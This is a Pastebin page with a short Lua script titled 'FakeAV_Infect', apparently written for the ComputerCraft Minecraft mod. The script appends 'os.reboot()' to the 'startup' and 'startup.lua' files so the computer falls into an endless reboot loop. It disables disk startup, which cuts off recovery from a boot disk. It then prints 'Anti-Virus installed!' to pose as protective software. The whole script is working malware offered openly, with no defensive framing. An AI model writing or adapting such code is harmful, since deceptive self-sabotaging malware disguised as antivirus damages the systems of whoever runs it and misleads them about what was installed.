Advertisement
SuperRavenSn1per

FakeAV_Infect

Mar 23rd, 2019
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.54 KB | None | 0 0
  1. function checkInfect(file) -- Checks if file exists, if it does then infects
  2.   if fs.exists(file) then -- Checks if file exists
  3.     f = fs.open(file, "a") -- Opens file in append mode
  4.     f.writeLine("os.reboot()") -- Writes "os.reboot()" to end of file
  5.     f.close() -- Closes file
  6.   end
  7. end
  8.  
  9. checkInfect("startup")
  10. checkInfect("startup.lua") -- This is for the newer 1.12.2 version of CC
  11. shell.run("set shell.allow_disk_startup false") -- Turns off disk startup files
  12. term.clear()
  13. term.setCursorPos(1,1)
  14. print("Anti-Virus installed!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement